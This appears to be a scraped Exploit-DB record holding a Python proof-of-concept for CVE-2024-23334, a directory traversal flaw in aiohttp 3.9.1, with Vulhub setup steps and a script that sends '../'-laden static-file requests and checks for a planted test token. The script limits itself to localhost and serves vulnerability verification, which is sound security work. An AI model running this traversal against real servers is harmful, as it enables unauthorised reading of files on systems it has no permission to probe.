{“lastseen”:”2026-02-04T13:28:43″,”description”:”Exploit Title: Python aiohttp directory traversal PoC CVE-2024-23334 Google Dork: N\/A Date: 2025-10-06 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.aiohttp.org \/ https:\/\/www.python.org Software Link:…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”exploitdb”,”title”:”aiohttp 3.9.1 – directory traversal PoC”,”source”:””,”references”:””,”id”:”EDB-ID:52474″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-23334″],”sourceData”:”# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)\\r\\n# Google Dork: N\/A\\r\\n# Date: 2025-10-06\\r\\n# Exploit Author: Beatriz Fresno Naumova\\r\\n# Vendor Homepage: https:\/\/www.aiohttp.org \/ https:\/\/www.python.org\\r\\n# Software Link: https:\/\/github.com\/aio-libs\/aiohttp (vulnerable tag: 3.9.1)\\r\\n# Version: aiohttp 3.9.1 (vulnerable)\\r\\n# Tested on: Linux (host for Vulhub \/ Docker) and inside container VM: aiohttp 3.9.1\\r\\n# CVE: CVE-2024-23334\\r\\n\\r\\n# Description:\\r\\n# Proof-of-concept to verify directory-traversal behavior when aiohttp is configured\\r\\n# to serve static files with follow_symlinks=True (affects aiohttp \\u003c= 3.9.1).\\r\\n# This PoC is intentionally restricted to local testing and will refuse non-local targets.\\r\\n\\r\\n\\r\\n# Environment setup (Vulhub example):\\r\\n# 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory:\\r\\n# cd vulhub\/python\/aiohttp\/3.9.1\\r\\n# 2. Start the vulnerable service:\\r\\n# docker compose up -d\\r\\n# 3. Verify the service is accessible on localhost:8080:\\r\\n# curl -v http:\/\/localhost:8080\/ # should respond\\r\\n#\\r\\n# Prepare a safe probe file inside the container (non-sensitive):\\r\\n# 1. Identify the container name or ID with `docker ps`.\\r\\n# 2. Create a test token file inside the container:\\r\\n# docker exec -it \\u003ccontainer\\u003e \/bin\/sh -c \\”echo ‘POC-AIOHTTP-VULN-TEST’ \\u003e \/tmp\/poc-aiohttp-test.txt \\u0026\\u0026 chmod 644 \/tmp\/poc-aiohttp-test.txt\\”\\r\\n# 3. Verify:\\r\\n# docker exec -it \\u003ccontainer\\u003e \/bin\/sh -c \\”cat \/tmp\/poc-aiohttp-test.txt\\”\\r\\n# # should print: POC-AIOHTTP-VULN-TEST\\r\\n#\\r\\n# How to run this PoC (local only):\\r\\n# 1. Save this file as poc_aiohttp_cve-2024-23334.py\\r\\n# 2. Run it on the host that has access to the vulnerable container’s localhost port:\\r\\n# python3 poc_aiohttp_cve-2024-23334.py –port 8080 –probe \/tmp\/poc-aiohttp-test.txt –depth 8\\r\\n#\\r\\n\\r\\n\\r\\n\\r\\n#!\/usr\/bin\/env python3\\r\\n\\”\\”\\”\\r\\nSafe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).\\r\\nThis script will refuse to target any host other than localhost\/127.0.0.1\/::1.\\r\\n\\r\\nExample:\\r\\n python3 poc_aiohttp_cve-2024-23334.py –port 8080 –probe \/tmp\/poc-aiohttp-test.txt –depth 8\\r\\n\\r\\nIf the vulnerable server returns the probe file contents, the script prints the body\\r\\nand reports VULNERABLE.\\r\\n\\”\\”\\”\\r\\n\\r\\nfrom __future__ import annotations\\r\\n\\r\\nimport argparse\\r\\nimport socket\\r\\nimport sys\\r\\nimport urllib.parse\\r\\nimport http.client\\r\\n\\r\\nLOCAL_HOSTS = {\\”127.0.0.1\\”, \\”localhost\\”, \\”::1\\”}\\r\\n\\r\\ndef is_localhost(host: str) -\\u003e bool:\\r\\n \\”\\”\\”Only allow local hosts to avoid misuse.\\”\\”\\”\\r\\n return host in LOCAL_HOSTS\\r\\n\\r\\ndef build_traversal_path(probe_path: str, depth: int = 8) -\\u003e str:\\r\\n \\”\\”\\”\\r\\n Build a traversal-style path to append to \/static\/.\\r\\n Depth can be adjusted if the server root \/ static layout needs more ..\/ segments.\\r\\n \\”\\”\\”\\r\\n probe = probe_path.lstrip(\\”\/\\”)\\r\\n ups = \\”..\/\\” * depth\\r\\n return f\\”\/static\/{ups}{probe}\\”\\r\\n\\r\\ndef try_connect(host: str, port: int, timeout: float = 3.0) -\\u003e bool:\\r\\n try:\\r\\n with socket.create_connection((host, port), timeout=timeout):\\r\\n return True\\r\\n except Exception:\\r\\n return False\\r\\n\\r\\ndef send_get(host: str, port: int, path: str, timeout: float = 10.0):\\r\\n conn = http.client.HTTPConnection(host, port, timeout=timeout)\\r\\n try:\\r\\n conn.request(\\”GET\\”, path, headers={\\”User-Agent\\”: \\”poc-aiohttp-check\/1.0\\”, \\”Accept\\”: \\”*\/*\\”})\\r\\n resp = conn.getresponse()\\r\\n body = resp.read()\\r\\n return resp.status, body\\r\\n finally:\\r\\n try:\\r\\n conn.close()\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\ndef main():\\r\\n parser = argparse.ArgumentParser(description=\\”Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).\\”)\\r\\n parser.add_argument(\\”–host\\”, default=\\”127.0.0.1\\”, help=\\”Target host (MUST be localhost).\\”)\\r\\n parser.add_argument(\\”–port\\”, type=int, default=8080, help=\\”Target port (default: 8080).\\”)\\r\\n parser.add_argument(\\”–probe\\”, required=True, help=\\”Absolute path on server to probe (e.g. \/tmp\/poc-aiohttp-test.txt).\\”)\\r\\n parser.add_argument(\\”–depth\\”, type=int, default=8, help=\\”Traversal depth (increase if needed).\\”)\\r\\n parser.add_argument(\\”–timeout\\”, type=float, default=10.0, help=\\”Request timeout seconds.\\”)\\r\\n args = parser.parse_args()\\r\\n\\r\\n host = args.host.strip()\\r\\n port = int(args.port)\\r\\n\\r\\n if not is_localhost(host):\\r\\n print(\\”ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.\\”, file=sys.stderr)\\r\\n sys.exit(2)\\r\\n\\r\\n # quick reachability check\\r\\n if not try_connect(host, port, timeout=3.0):\\r\\n print(f\\”ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?\\”, file=sys.stderr)\\r\\n sys.exit(3)\\r\\n\\r\\n path = build_traversal_path(args.probe, depth=args.depth)\\r\\n # encode path but keep slash and common safe chars\\r\\n path = urllib.parse.quote(path, safe=\\”\/?=\\u0026%\\”)\\r\\n\\r\\n print(f\\”[*] Sending GET {path} to {host}:{port} (local lab only)\\”)\\r\\n status, body = send_get(host, port, path, timeout=args.timeout)\\r\\n print(f\\”[+] HTTP {status}\\”)\\r\\n\\r\\n if body:\\r\\n try:\\r\\n text = body.decode(\\”utf-8\\”, errors=\\”replace\\”)\\r\\n except Exception:\\r\\n text = repr(body)\\r\\n print(\\”—– RESPONSE BODY START —–\\”)\\r\\n print(text)\\r\\n print(\\”—– RESPONSE BODY END —–\\”)\\r\\n # heuristic: check for the expected test token\\r\\n if \\”POC-AIOHTTP-VULN-TEST\\” in text:\\r\\n print(\\”[!] VULNERABLE: test token found in response (lab-confirmed).\\”)\\r\\n sys.exit(0)\\r\\n else:\\r\\n print(\\”[ ] Test token not found in response. The server may not be vulnerable or probe path\/depth needs adjustment.\\”)\\r\\n sys.exit(1)\\r\\n else:\\r\\n print(\\”[ ] Empty response body.\\”)\\r\\n sys.exit(1)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52474″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52474″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T13:28:43″,”description”:”Exploit Title: Python aiohttp directory traversal PoC CVE-2024-23334 Google Dork: N\/A Date: 2025-10-06 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.aiohttp.org \/ https:\/\/www.python.org Software Link:…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”exploitdb”,”title”:”aiohttp…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,40,15,13,7,11,5],"class_list":["post-38998","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n